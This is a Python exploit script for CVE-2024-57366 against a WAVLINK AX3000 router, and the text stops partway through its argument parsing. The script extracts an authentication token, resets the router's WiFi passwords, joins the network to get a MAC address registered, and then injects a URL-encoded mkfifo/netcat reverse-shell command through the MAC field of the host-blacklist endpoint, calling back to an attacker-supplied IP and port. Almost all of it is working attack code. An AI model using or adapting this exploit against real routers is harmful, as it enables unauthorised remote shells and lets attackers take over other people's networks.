README.md
Rendering markdown...
#!/usr/bin/env python3
"""
CVE-2024-57366 Exploit - Simplified Version
This script exploits a vulnerability by making two POST requests:
1. First request extracts authentication tokens
2. Second request uses the token to execute a reverse shell payload
"""
import argparse
import hashlib
import requests
import json
import sys
import urllib.parse
import subprocess
import os
import time
import re
# MAC address cache file (simple text format)
MAC_CACHE_FILE = "successful_macs.txt"
def load_successful_macs():
"""Load successful MAC addresses from cache file"""
successful_macs = []
if os.path.exists(MAC_CACHE_FILE):
try:
with open(MAC_CACHE_FILE, 'r') as f:
for line in f:
line = line.strip()
if line and not line.startswith('#'):
# Format: MAC_ADDRESS TARGET_IP [TIMESTAMP]
parts = line.split()
if len(parts) >= 2:
mac = parts[0]
target_ip = parts[1]
timestamp = float(parts[2]) if len(parts) > 2 else time.time()
successful_macs.append({"mac": mac, "target_ip": target_ip, "timestamp": timestamp})
except Exception as e:
print(f"[-] Error reading MAC cache file: {e}")
return successful_macs
def save_successful_mac(mac_address, target_ip):
"""Save a successful MAC address to cache file"""
successful_macs = load_successful_macs()
# Add new MAC if not already present
mac_entry = {"mac": mac_address, "target_ip": target_ip, "timestamp": time.time()}
if not any(entry["mac"] == mac_address and entry["target_ip"] == target_ip for entry in successful_macs):
successful_macs.append(mac_entry)
try:
with open(MAC_CACHE_FILE, 'w') as f:
f.write("# CVE-2024-57366 Successful MAC Addresses\n")
f.write("# Format: MAC_ADDRESS TARGET_IP TIMESTAMP\n")
f.write("# You can manually add entries here\n\n")
for entry in successful_macs:
timestamp_str = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(entry["timestamp"]))
f.write(f"{entry['mac']} {entry['target_ip']} {entry['timestamp']} # {timestamp_str}\n")
print(f"[+] MAC address {mac_address} saved to cache for future quick exploits")
except Exception as e:
print(f"[-] Failed to save MAC address to cache: {e}")
def get_cached_mac_for_target(target_ip):
"""Get a cached MAC address for the target IP"""
successful_macs = load_successful_macs()
# Find MAC addresses for this target (prefer recent ones)
target_macs = [entry for entry in successful_macs if entry["target_ip"] == target_ip]
if target_macs:
# Sort by timestamp (most recent first)
target_macs.sort(key=lambda x: x["timestamp"], reverse=True)
return target_macs[0]["mac"]
return None
def list_cached_macs():
"""List all cached MAC addresses"""
successful_macs = load_successful_macs()
if not successful_macs:
print("[+] No cached MAC addresses found")
return
print("[+] Cached MAC addresses:")
for entry in successful_macs:
timestamp_str = time.strftime("%Y-%m-%d %H:%M:%S", time.localtime(entry["timestamp"]))
print(f" {entry['mac']} -> {entry['target_ip']} (cached: {timestamp_str})")
def quick_exploit_with_cached_mac(target_ip, port, local_ip, local_port, password, cached_mac):
"""Perform quick exploit using cached MAC address"""
print(f"[+] Using cached MAC address: {cached_mac}")
print(f"[+] Skipping WiFi connection - using cached MAC for quick exploit")
# Step 1: Get authentication token
print(f"[+] Getting authentication token...")
token = retrieve_token(target_ip, port, password, local_ip, local_port)
if not token:
print("[-] Failed to get authentication token")
return False
# Step 2: Execute exploit directly
print(f"[+] Executing exploit with cached MAC...")
success = inject_command(target_ip, port, token, local_ip, local_port, cached_mac)
if success:
print(f"[+] Quick exploit completed successfully!")
print(f"[+] Reverse shell should connect to {local_ip}:{local_port}")
return True
else:
print(f"[-] Quick exploit failed - cached MAC may no longer be valid")
return False
def detect_wireless_adapters():
"""
Detect available wireless adapters on the system, including USB WiFi adapters.
Returns a list of (interface_name, mac_address, device_type) tuples.
"""
print("[+] Detecting wireless adapters...")
wireless_adapters = []
try:
# Method 1: Check for wireless interfaces using iw command
try:
iw_result = subprocess.run(["iw", "dev"], capture_output=True, text=True, timeout=10)
if iw_result.returncode == 0:
for line in iw_result.stdout.split('\n'):
if 'Interface' in line:
interface_name = line.split()[1]
# Get MAC address for this interface
mac_result = subprocess.run(["ip", "link", "show", interface_name], capture_output=True, text=True, timeout=5)
if mac_result.returncode == 0:
mac_match = re.search(r'link/ether ([0-9a-fA-F:]{17})', mac_result.stdout)
if mac_match:
mac_address = mac_match.group(1).upper()
wireless_adapters.append((interface_name, mac_address, "wireless"))
except Exception as e:
print(f"[+] iw command failed: {e}")
# Method 2: Check for USB WiFi adapters using lsusb
try:
lsusb_result = subprocess.run(["lsusb"], capture_output=True, text=True, timeout=10)
if lsusb_result.returncode == 0:
usb_wifi_found = False
for line in lsusb_result.stdout.split('\n'):
line_lower = line.lower()
if any(keyword in line_lower for keyword in ['wireless', 'wifi', '802.11', 'realtek', 'ralink', 'atheros', 'broadcom', 'intel']):
usb_wifi_found = True
if not usb_wifi_found:
print("[+] No obvious USB WiFi adapters found in lsusb output")
except Exception as e:
print(f"[+] lsusb command failed: {e}")
# Method 3: Check for wireless interfaces using ip link (broader search)
result = subprocess.run(["ip", "link", "show"], capture_output=True, text=True, timeout=10)
if result.returncode == 0:
current_interface = None
for line in result.stdout.split('\n'):
# Look for interface lines (e.g., "2: wlan0: <BROADCAST,MULTICAST,UP,LOWER_UP>")
if ': ' in line and ':' in line.split(':')[0]:
parts = line.split(':')
if len(parts) >= 2:
interface_name = parts[1].strip()
# Check if it's a wireless interface (expanded patterns)
if interface_name.startswith(('wlan', 'wlp', 'wifi', 'wlx', 'wlo', 'wls')):
current_interface = interface_name
# Look for MAC address lines
elif 'link/ether' in line and current_interface:
mac_match = re.search(r'link/ether ([0-9a-fA-F:]{17})', line)
if mac_match:
mac_address = mac_match.group(1).upper()
# Check if we already found this interface via iw
if not any(adapter[0] == current_interface for adapter in wireless_adapters):
wireless_adapters.append((current_interface, mac_address, "ethernet-like"))
print(f"[+] Found wireless adapter: {current_interface} ({mac_address})")
current_interface = None
# Method 4: Check for wireless devices in /sys/class/net
print("[+] Checking /sys/class/net for wireless devices...")
try:
net_result = subprocess.run(["ls", "/sys/class/net/"], capture_output=True, text=True, timeout=10)
if net_result.returncode == 0:
for interface in net_result.stdout.split():
if interface.startswith(('wlan', 'wlp', 'wifi', 'wlx', 'wlo', 'wls')):
# Check if it's actually a wireless device
wireless_check = subprocess.run(["cat", f"/sys/class/net/{interface}/type"], capture_output=True, text=True, timeout=5)
if wireless_check.returncode == 0 and wireless_check.stdout.strip() == "1": # Type 1 = ARPHRD_ETHER, but could be wireless
# Get MAC address
mac_result = subprocess.run(["ip", "link", "show", interface], capture_output=True, text=True, timeout=5)
if mac_result.returncode == 0:
mac_match = re.search(r'link/ether ([0-9a-fA-F:]{17})', mac_result.stdout)
if mac_match:
mac_address = mac_match.group(1).upper()
if not any(adapter[0] == interface for adapter in wireless_adapters):
wireless_adapters.append((interface, mac_address, "sys-detected"))
print(f"[+] Found wireless adapter via sys: {interface} ({mac_address})")
except Exception as e:
print(f"[+] sys check failed: {e}")
# Method 5: Check for wireless modules/drivers
print("[+] Checking for wireless drivers...")
try:
modules_result = subprocess.run(["lsmod"], capture_output=True, text=True, timeout=10)
if modules_result.returncode == 0:
wireless_drivers = []
for line in modules_result.stdout.split('\n'):
line_lower = line.lower()
if any(keyword in line_lower for keyword in ['rtl', 'ath', 'brcm', 'iwl', 'wl', 'rt2800', 'rtl8', 'rtw']):
driver_name = line.split()[0]
if driver_name not in wireless_drivers:
wireless_drivers.append(driver_name)
if not wireless_drivers:
print("[+] No obvious wireless drivers loaded")
except Exception as e:
print(f"[+] lsmod check failed: {e}")
except Exception as e:
print(f"[-] Error detecting wireless adapters: {e}")
# Remove duplicates and return
unique_adapters = []
seen_interfaces = set()
for adapter in wireless_adapters:
if adapter[0] not in seen_interfaces:
unique_adapters.append(adapter)
seen_interfaces.add(adapter[0])
return unique_adapters
def generate_userid(password):
"""Generate userid parameter using MD5 hash of 'admin' + password"""
return hashlib.md5(b"admin" + password.encode()).hexdigest()
def logout_request(target_ip, port):
"""Make a logout request to mimic JavaScript Date.now() behavior"""
timestamp = int(time.time() * 1000) # JavaScript Date.now() equivalent
url = f"http://{target_ip}:{port}/protocol.csp?fname=system&opt=login&function=get"
headers = {
"Host": f"{target_ip}:{port}",
"Content-Length": "0",
"X-Requested-With": "XMLHttpRequest",
"Accept-Language": "en-US,en;q=0.9",
"Accept": "application/json, text/javascript, */*; q=0.01",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36",
"Origin": f"http://{target_ip}:{port}",
"Referer": f"http://{target_ip}:{port}/login_rt_ax3000.html?tt={timestamp}?reject=overtime",
"Accept-Encoding": "gzip, deflate, br",
"Cookie": "i18next=en_US; lstatus=false",
"Connection": "keep-alive"
}
try:
response = requests.post(url, headers=headers, timeout=10)
print(f"[+] Logout response status code: {response.status_code}")
return response.status_code == 200
except requests.exceptions.RequestException as e:
print(f"[-] Logout request failed: {e}")
return False
def reset_wifi_password(target_ip, port, token, password):
"""Reset WiFi password to match admin password"""
print(f"[+] Resetting WiFi password to: {password}")
url = f"http://{target_ip}:{port}/protocol.csp"
headers = {
"Host": f"{target_ip}:{port}",
"Content-Length": "0",
"X-Requested-With": "XMLHttpRequest",
"Accept-Language": "en-US,en;q=0.9",
"Accept": "application/json, text/javascript, */*; q=0.01",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36",
"Origin": f"http://{target_ip}:{port}",
"Referer": f"http://{target_ip}:{port}/html/wfSetting.html",
"Accept-Encoding": "gzip, deflate, br",
"Cookie": f"i18next=en_US; lstatus=true; token={token}",
"Connection": "keep-alive"
}
# Reset 2.4GHz WiFi password
params_2g = {
"token": token,
"fname": "net",
"opt": "wifi_ap",
"function": "set",
"ssid": "WAVLINK-Mesh_DC4B",
"password": password,
"authmode": "1",
"channel": "0",
"need_restart": "1", # Force restart to apply password change
"hidden2g": "0",
"bandwidth": "1",
"twt2g": "0",
"ofdma2g": "0"
}
try:
response = requests.post(url, params=params_2g, headers=headers, timeout=10)
if response.status_code == 200:
try:
response_data = response.json()
if response_data.get("error") == 0:
time.sleep(30) # Wait for router restart
else:
return False
except json.JSONDecodeError:
return False
# Reset 5GHz WiFi password
params_5g = {
"token": token,
"fname": "net",
"opt": "wifi_ap_5g",
"function": "set",
"ssid": "WAVLINK-Mesh_DC4B",
"password": password,
"authmode": "1",
"channel": "0",
"dfs": "1", # DFS parameter required for 5GHz
"need_restart": "1", # Force restart to apply password change
"hidden5g": "0",
"bandwidth": "1",
"skiplist": "132;136;140;144;149;153;157;161;165;", # Channel skip list for 5GHz
"twt5g": "0",
"ofdma5g": "0"
}
response = requests.post(url, params=params_5g, headers=headers, timeout=10)
print(f"[+] 5GHz Response status code: {response.status_code}")
if response.status_code == 200:
try:
response_data = response.json()
print(f"[+] 5GHz WiFi reset response: {response_data}")
if response_data.get("error") == 0:
print(f"[+] 5GHz WiFi password reset successful!")
print(f"[+] Both 2.4GHz and 5GHz WiFi passwords reset successfully!")
print(f"[+] Router may restart to apply 5GHz changes, waiting 30 seconds...")
time.sleep(30) # Wait for router restart
return True
else:
print(f"[-] 5GHz WiFi password reset failed, but 2.4GHz succeeded")
print(f"[+] Continuing with 2.4GHz WiFi only...")
return True # Continue even if 5GHz fails
except json.JSONDecodeError:
print(f"[-] Invalid JSON response for 5GHz reset")
print(f"[+] Continuing with 2.4GHz WiFi only...")
return True # Continue even if 5GHz fails
return False
except requests.exceptions.RequestException as e:
print(f"[-] WiFi password reset request failed: {e}")
return False
def connect_to_wifi_isolated(interface_name, mac_address, ssid, password):
"""
Connect to WiFi using existing adapter while preserving existing network connections.
This function creates an isolated connection that doesn't interfere with other network interfaces.
"""
print(f"[+] Connecting to WiFi with {interface_name} ({mac_address}) in isolated mode")
# Store original network state
original_routes = None
original_dns = None
try:
# Step 1: Backup current network state
print(f"[+] Backing up current network state...")
try:
# Backup routes (but don't modify them yet)
route_result = subprocess.run(["ip", "route", "show"], capture_output=True, text=True, timeout=5)
if route_result.returncode == 0:
original_routes = route_result.stdout
print(f"[+] Backed up {len(original_routes.splitlines())} routes")
except Exception as e:
print(f"[+] Could not backup routes: {e}")
try:
# Backup DNS configuration
with open("/etc/resolv.conf", "r") as f:
original_dns = f.read()
print(f"[+] Backed up DNS configuration")
except Exception as e:
print(f"[+] Could not backup DNS: {e}")
# Step 2: Check if interface is up
link_result = subprocess.run(["ip", "link", "show", interface_name], capture_output=True, text=True, timeout=5)
if link_result.returncode != 0:
print(f"[-] Interface {interface_name} not found or not accessible")
return False, mac_address
# Step 3: Bring up the interface
if "state DOWN" in link_result.stdout or "DORMANT" in link_result.stdout:
print(f"[+] Interface {interface_name} is down or dormant, bringing it up...")
up_result = subprocess.run(["ip", "link", "set", interface_name, "up"], capture_output=True, text=True, timeout=5)
if up_result.returncode != 0:
print(f"[-] Failed to bring up interface {interface_name}: {up_result.stderr}")
# Check if it's already up
if "File exists" in up_result.stderr or "already up" in up_result.stderr.lower():
print(f"[+] Interface {interface_name} is already up, continuing...")
else:
return False, mac_address
time.sleep(2) # Give it more time to come up
# Step 4: Check RF-kill status
rfkill_result = subprocess.run(["rfkill", "list"], capture_output=True, text=True, timeout=5)
if rfkill_result.returncode == 0 and "wifi" in rfkill_result.stdout.lower():
print(f"[+] Checking RF-kill status...")
if "blocked" in rfkill_result.stdout.lower():
print(f"[+] WiFi is blocked, unblocking...")
subprocess.run(["rfkill", "unblock", "wifi"], capture_output=True, timeout=5)
time.sleep(1)
# Step 5: Stop any existing wireless processes on this interface only
print(f"[+] Stopping existing wireless processes on {interface_name}...")
subprocess.run(["pkill", "-f", f"wpa_supplicant.*{interface_name}"], capture_output=True, timeout=5)
subprocess.run(["pkill", "-f", f"dhclient.*{interface_name}"], capture_output=True, timeout=5)
time.sleep(1)
# Step 6: Create wpa_supplicant configuration (isolated)
wpa_config = f"""
network={{
ssid="{ssid}"
psk="{password}"
key_mgmt=WPA-PSK
# Try 5GHz band first (since we just reset 5GHz password successfully)
freq_list=5180 5200 5220 5240 5260 5280 5300 5320 5500 5520 5540 5560 5580 5600 5620 5640 5660 5680 5700 5720 5745 5765 5785 5805 5825
# Don't change default route
priority=1
}}
"""
config_file = f"/tmp/wpa_supplicant_{interface_name}.conf"
with open(config_file, "w") as f:
f.write(wpa_config)
# Step 7: Connect to WiFi using wpa_supplicant (isolated)
print(f"[+] Connecting to WiFi network '{ssid}' using {interface_name} (isolated mode)...")
wpa_supplicant_cmd = [
"wpa_supplicant",
"-B",
"-i",
interface_name,
"-c",
config_file,
"-D", "nl80211", # Use nl80211 driver
"-f", "/tmp/wpa_supplicant.log", # Log file for debugging
]
result = subprocess.run(wpa_supplicant_cmd, capture_output=True, text=True, timeout=10)
if result.returncode != 0:
print(f"[-] wpa_supplicant failed to start: {result.stderr}")
return False, mac_address
print(f"[+] wpa_supplicant started successfully")
# Step 8: Wait for connection with more robust checking
connected = False
print(f"[+] Waiting for WiFi connection to '{ssid}'...")
for i in range(10): # Increased attempts and time
time.sleep(3)
status_cmd = ["wpa_cli", "-i", interface_name, "status"]
status_result = subprocess.run(status_cmd, capture_output=True, text=True, timeout=5)
if status_result.returncode != 0:
print(f"[-] wpa_cli status failed: {status_result.stderr}")
continue
status_output = status_result.stdout.strip()
print(f"[+] Connection attempt {i+1}/10")
if "wpa_state=COMPLETED" in status_output:
# Verify we're connected to the right network
if ssid in status_output:
print(f"[+] WiFi connection successful to '{ssid}'!")
connected = True
break
else:
print(f"[+] Connected but to wrong network, continuing...")
elif "wpa_state=INACTIVE" in status_output and "address=" in status_output:
# Check if we just completed a connection (INACTIVE can mean connected but idle)
# Look for connection success in the log
try:
with open("/tmp/wpa_supplicant.log", "r") as f:
log_content = f.read()
if "CTRL-EVENT-CONNECTED" in log_content and ssid in log_content:
print(f"[+] WiFi connection successful to '{ssid}' (detected via log)!")
connected = True
break
except:
pass
elif "wpa_state=SCANNING" in status_output:
print(f"[+] Still scanning for networks...")
elif "wpa_state=ASSOCIATING" in status_output:
print(f"[+] Associating with network...")
elif "wpa_state=4WAY_HANDSHAKE" in status_output:
print(f"[+] Performing 4-way handshake...")
elif "wpa_state=AUTHENTICATING" in status_output:
print(f"[+] Authenticating...")
elif "wpa_state=DISCONNECTED" in status_output:
print(f"[+] Disconnected, retrying...")
# Try to reconnect
subprocess.run(["wpa_cli", "-i", interface_name, "reconnect"], capture_output=True, timeout=5)
else:
print(f"[+] Connection state: {status_output}")
if not connected:
# Check if we had a successful connection in the log (even if brief)
print(f"[+] Checking for successful connection in log...")
try:
with open("/tmp/wpa_supplicant.log", "r") as f:
log_content = f.read()
if "CTRL-EVENT-CONNECTED" in log_content and ssid in log_content:
print(f"[+] WiFi connection was successful to '{ssid}' (detected in log)!")
print(f"[+] MAC address should be registered with the router")
connected = True
# Extract the actual MAC address that connected
for line in log_content.split('\n'):
if "address=" in line and "uuid=" in line:
actual_mac = line.split('address=')[1].split()[0]
print(f"[+] Actual connected MAC address: {actual_mac}")
# Update the MAC address for the exploit
mac_address = actual_mac.upper()
break
else:
print(f"[-] No successful connection found in log")
except:
print(f"[+] Could not read wpa_supplicant log")
if not connected:
print(f"[-] WiFi connection failed after 10 attempts")
# Try to get more debugging info
print(f"[+] Debugging information:")
try:
with open("/tmp/wpa_supplicant.log", "r") as f:
log_content = f.read()
print(f"[+] wpa_supplicant log (last 20 lines):")
for line in log_content.split('\n')[-20:]:
if line.strip():
print(f"[+] {line}")
except:
print(f"[+] Could not read wpa_supplicant log")
scan_result = subprocess.run(["wpa_cli", "-i", interface_name, "scan"], capture_output=True, text=True, timeout=5)
print(f"[+] Scan result: {scan_result.stdout.strip()}")
time.sleep(2)
scan_results = subprocess.run(["wpa_cli", "-i", interface_name, "scan_results"], capture_output=True, text=True, timeout=5)
print(f"[+] Available networks: {scan_results.stdout.strip()}")
return False, mac_address
# Step 9: Get IP address via DHCP (without changing default route)
print(f"[+] Attempting to get IP address (preserving existing routes)...")
# Try multiple DHCP methods
dhcp_success = False
# Method 1: dhclient with longer timeout
try:
dhcp_cmd = ["dhclient", "-v", interface_name, "-s", "0.0.0.0", "-t", "30"] # 30 second timeout
result = subprocess.run(dhcp_cmd, capture_output=True, text=True, timeout=35)
if result.returncode == 0:
print(f"[+] DHCP succeeded with dhclient!")
dhcp_success = True
else:
print(f"[-] dhclient failed, trying dhcpcd...")
except subprocess.TimeoutExpired:
print(f"[-] dhclient timed out, trying dhcpcd...")
# Method 2: dhcpcd if dhclient failed
if not dhcp_success:
try:
dhcp_cmd = ["dhcpcd", "-t", "30", interface_name] # 30 second timeout
result = subprocess.run(dhcp_cmd, capture_output=True, text=True, timeout=35)
if result.returncode == 0:
print(f"[+] DHCP succeeded with dhcpcd!")
dhcp_success = True
else:
print(f"[-] dhcpcd also failed")
except subprocess.TimeoutExpired:
print(f"[-] dhcpcd also timed out")
# Check if we got an IP address
if dhcp_success:
ip_result = subprocess.run(["ip", "addr", "show", interface_name], capture_output=True, text=True, timeout=5)
if "inet " in ip_result.stdout:
print(f"[+] Interface {interface_name} has IP address")
# Extract the IP address
for line in ip_result.stdout.split('\n'):
if "inet " in line and "scope global" in line:
ip_addr = line.split()[1].split('/')[0]
print(f"[+] Got IP address: {ip_addr}")
break
else:
print(f"[+] No IP address assigned, but DHCP succeeded")
else:
print(f"[-] All DHCP methods failed, but connection may still be established")
# Step 10: Verify connection without affecting other interfaces
print(f"[+] Verifying isolated connection...")
link_status = subprocess.run(["wpa_cli", "-i", interface_name, "status"], capture_output=True, text=True, timeout=5)
if "wpa_state=COMPLETED" in link_status.stdout:
print(f"[+] Isolated WiFi connection successful!")
print(f"[+] Your existing network connections remain unchanged")
return True, mac_address
else:
print(f"[-] Connection verification failed")
return False, mac_address
except subprocess.TimeoutExpired:
print(f"[-] WiFi connection timed out")
return False, mac_address
except Exception as e:
print(f"[-] WiFi connection failed with error: {e}")
return False, mac_address
finally:
# Clean up config file
try:
subprocess.run(
["rm", "-f", f"/tmp/wpa_supplicant_{interface_name}.conf"], capture_output=True
)
except:
pass
def disconnect_wifi_cleanly(interface_name):
"""
Cleanly disconnect from WiFi and restore network state.
This ensures no interference with existing network connections.
"""
print(f"[+] Cleaning up WiFi connection on {interface_name}...")
try:
# Step 1: Disconnect from WiFi
print(f"[+] Disconnecting from WiFi...")
subprocess.run(["wpa_cli", "-i", interface_name, "disconnect"], capture_output=True, timeout=5)
time.sleep(2)
# Step 2: Stop wpa_supplicant
print(f"[+] Stopping wpa_supplicant...")
subprocess.run(["pkill", "-f", f"wpa_supplicant.*{interface_name}"], capture_output=True, timeout=5)
time.sleep(1)
# Step 3: Stop DHCP client
print(f"[+] Stopping DHCP client...")
subprocess.run(["pkill", "-f", f"dhclient.*{interface_name}"], capture_output=True, timeout=5)
time.sleep(1)
# Step 4: Bring down the interface
print(f"[+] Bringing down interface {interface_name}...")
subprocess.run(["ip", "link", "set", interface_name, "down"], capture_output=True, timeout=5)
# Step 5: Clean up any temporary files
print(f"[+] Cleaning up temporary files...")
subprocess.run(["rm", "-f", f"/tmp/wpa_supplicant_{interface_name}.conf"], capture_output=True, timeout=5)
print(f"[+] WiFi cleanup completed successfully")
print(f"[+] Your existing network connections remain intact")
except Exception as e:
print(f"[-] WiFi cleanup failed: {e}")
# Try to force cleanup
try:
subprocess.run(["pkill", "-f", f"wpa_supplicant.*{interface_name}"], capture_output=True, timeout=5)
subprocess.run(["pkill", "-f", f"dhclient.*{interface_name}"], capture_output=True, timeout=5)
subprocess.run(["ip", "link", "set", interface_name, "down"], capture_output=True, timeout=5)
except:
pass
def retrieve_token(target_ip, port, password, local_ip, local_port):
"""Make the exploit request to extract authentication token"""
userid = generate_userid(password)
url = f"http://{target_ip}:{port}/protocol.csp"
headers = {
"Host": f"{target_ip}:{port}",
"Content-Length": "0",
"X-Requested-With": "XMLHttpRequest",
"Accept-Language": "en-US,en;q=0.9",
"Accept": "application/json, text/javascript, */*; q=0.01",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36",
"Origin": f"http://{target_ip}:{port}",
"Referer": f"http://{target_ip}:{port}/login_rt_ax3000.html?tt={int(time.time() * 1000)}?reject=overtime",
"Accept-Encoding": "gzip, deflate, br",
"Cookie": "i18next=en_US; lstatus=false",
"Connection": "keep-alive"
}
params = {
"fname": "system",
"opt": "login",
"function": "set",
"usrid": userid
}
# Try to use eth0 interface first (like BurpSuite proxy behavior)
try:
import subprocess
result = subprocess.run(['ip', 'addr', 'show', 'eth0'], capture_output=True, text=True, timeout=5)
if result.returncode == 0 and 'inet ' in result.stdout:
print(f"[+] Using eth0 interface for token request to preserve original network context")
full_url = f"{url}?" + "&".join([f"{k}={v}" for k, v in params.items()])
curl_cmd = [
'curl', '-s', '-X', 'POST',
'-H', f'Host: {target_ip}:{port}',
'-H', 'Content-Length: 0',
'-H', 'X-Requested-With: XMLHttpRequest',
'-H', 'Accept-Language: en-US,en;q=0.9',
'-H', 'Accept: application/json, text/javascript, */*; q=0.01',
'-H', 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36',
'-H', f'Origin: http://{target_ip}:{port}',
'-H', f'Referer: http://{target_ip}:{port}/login_rt_ax3000.html?tt={int(time.time() * 1000)}?reject=overtime',
'-H', 'Accept-Encoding: gzip, deflate, br',
'-H', 'Cookie: i18next=en_US; lstatus=false',
'-H', 'Connection: keep-alive',
'--compressed',
'--interface', 'eth0',
full_url
]
result = subprocess.run(curl_cmd, capture_output=True, text=True, timeout=15)
if result.returncode == 0 and result.stdout:
try:
response_data = json.loads(result.stdout)
if "token" in response_data:
token = response_data["token"]
print(f"[+] SUCCESS! Extracted token: {token}")
return token
else:
print(f"[-] No token found in response")
print(f"[-] Response: {response_data}")
return None
except json.JSONDecodeError:
print(f"[-] Invalid JSON response from curl")
return None
else:
print(f"[-] Curl request failed")
return None
else:
raise Exception("eth0 not available")
except Exception as e:
print(f"[+] Falling back to standard requests for token: {e}")
try:
print(f"[+] Sending POST request to: {url}")
print(f"[+] Headers: {headers}")
print(f"[+] Params: {params}")
response = requests.post(url, params=params, headers=headers, timeout=10)
print(f"[+] Response status code: {response.status_code}")
if response.status_code == 200:
try:
response_data = response.json()
if "token" in response_data:
token = response_data["token"]
print(f"[+] SUCCESS! Extracted token: {token}")
return token
else:
print(f"[-] No token found in response")
print(f"[-] Response: {response_data}")
return None
except json.JSONDecodeError:
print(f"[-] Invalid JSON response")
return None
else:
print(f"[-] Request failed with status code: {response.status_code}")
return None
except requests.exceptions.RequestException as e:
print(f"[-] Request failed with error: {e}")
return None
def inject_command(target_ip, port, token, local_ip, local_port, mac_address):
"""Inject reverse shell command using the extracted token"""
print(f"[+] Injecting reverse shell command...")
print(f"[+] Using token: {token}")
# Create the command payload - use bash TCP reverse shell
# This is the most reliable method for reverse shells
command = f'{mac_address}\\"%20%26%26$(rm%20-rf%20/tmp/f%20%26%26%20mkfifo%20/tmp/f%20%26%26%20cat%20/tmp/f|/bin/sh%20-i%202>%261|nc%20{local_ip}%20{local_port}%20>/tmp/f)'
print(f"[+] Command payload: {command}")
print(f"[+] MAC address: {mac_address}")
print(f"[+] Local IP: {local_ip}, Local Port: {local_port}")
url = f"http://{target_ip}/protocol.csp"
headers = {
"Host": f"{target_ip}",
"Content-Length": "0",
"X-Requested-With": "XMLHttpRequest",
"Accept-Language": "en-US,en;q=0.9",
"Accept": "application/json, text/javascript, */*; q=0.01",
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36",
"Origin": f"http://{target_ip}",
"Referer": f"http://{target_ip}/html/terminal.html",
"Accept-Encoding": "gzip, deflate, br",
"Cookie": f"i18next=en_US; lstatus=true; token={token}",
"Connection": "keep-alive"
}
# Build URL exactly like BurpSuite - token in URL path, not params
full_url = f"{url}?token={token}&fname=net&opt=host_black&function=set&mac={command}&index=1"
print(f"[+] Full URL: {full_url}")
# No params needed since everything is in the URL
params = {}
# Create a session to maintain connection state like BurpSuite
session = requests.Session()
# Try to make the request through the original network interface (eth0) if it exists
# This emulates BurpSuite's proxy behavior by preserving the original network context
try:
import subprocess
# Check if eth0 exists and has an IP
result = subprocess.run(['ip', 'addr', 'show', 'eth0'], capture_output=True, text=True, timeout=5)
if result.returncode == 0 and 'inet ' in result.stdout:
print(f"[+] eth0 interface found with IP - using it for request to preserve original network context")
# Use curl with interface binding to make the request through eth0
curl_cmd = [
'curl', '-s', '-X', 'POST',
'-H', f'Host: {target_ip}',
'-H', 'Content-Length: 0',
'-H', 'X-Requested-With: XMLHttpRequest',
'-H', 'Accept-Language: en-US,en;q=0.9',
'-H', 'Accept: application/json, text/javascript, */*; q=0.01',
'-H', 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36',
'-H', f'Origin: http://{target_ip}',
'-H', f'Referer: http://{target_ip}/html/terminal.html',
'-H', 'Accept-Encoding: gzip, deflate, br',
'-H', f'Cookie: i18next=en_US; lstatus=true; token={token}',
'-H', 'Connection: keep-alive',
'--compressed', # Handle gzip/deflate compression
'--interface', 'eth0',
full_url
]
print(f"[+] Using curl with eth0 interface to preserve original network context")
print(f"[+] Command: {' '.join(curl_cmd)}")
try:
result = subprocess.run(curl_cmd, capture_output=True, text=True, timeout=15)
print(f"[+] Curl response status: {result.returncode}")
print(f"[+] Curl response: {result.stdout}")
if result.returncode == 0 and result.stdout:
try:
response_data = json.loads(result.stdout)
print(f"[+] Response JSON: {response_data}")
if "error" in response_data:
error_code = response_data["error"]
if error_code == 0:
print(f"[+] SUCCESS! Command injection successful!")
print(f"[+] Reverse shell should be connecting to {local_ip}:{local_port}")
return True
else:
print(f"[-] Request failed with error code: {error_code}")
if error_code == 10001:
print(f"[-] MAC address validation failed - the MAC address is not registered with the router")
return False
else:
print(f"[+] No error in response, assuming success")
return True
except json.JSONDecodeError:
print(f"[-] Invalid JSON response from curl")
return False
else:
print(f"[-] Curl request failed")
return False
except subprocess.TimeoutExpired:
print(f"[+] Curl request timed out after 15 seconds")
print(f"[+] This might mean the command injection is working!")
print(f"[+] Check your netcat listener on {local_ip}:{local_port} for a reverse shell")
print(f"[+] If you see a connection, the exploit was successful!")
return True
else:
print(f"[+] eth0 not available, using standard requests")
raise Exception("eth0 not available")
except Exception as e:
print(f"[+] Falling back to standard requests: {e}")
try:
print(f"[+] Sending POST request to: {full_url}")
print(f"[+] Headers: {headers}")
response = session.post(full_url, headers=headers, timeout=10)
print(f"[+] NOTE: Make sure you have a listener running: nc -lvp {local_port}")
print(f"[+] Response status code: {response.status_code}")
if response.status_code == 200:
try:
response_data = response.json()
print(f"[+] Response JSON: {response_data}")
if "error" in response_data:
error_code = response_data["error"]
if error_code == 0:
print(f"[+] Command injection successful!")
return True
else:
print(f"[-] Request failed with error code: {error_code}")
if error_code == 10001:
print(f"[-] MAC address validation failed - the MAC address is not registered with the router")
return False
else:
print(f"[+] No error in response, assuming success")
return True
except json.JSONDecodeError:
print(f"[-] Invalid JSON response")
return False
else:
print(f"[-] Request failed with status code: {response.status_code}")
return False
except requests.exceptions.Timeout:
print(f"[+] Request timed out after 10 seconds")
print(f"[+] This might mean the command injection is working!")
print(f"[+] Check your netcat listener on {local_ip}:{local_port} for a reverse shell")
print(f"[+] If you see a connection, the exploit was successful!")
return True
except requests.exceptions.RequestException as e:
print(f"[-] Request failed with error: {e}")
return False
def main():
parser = argparse.ArgumentParser(description="CVE-2024-57366 Exploit")
parser.add_argument("--target", default="127.0.0.1", help="Target IP address")
parser.add_argument("--port", type=int, default=80, help="Target port")
parser.add_argument("--password", default="password", help="Admin password")
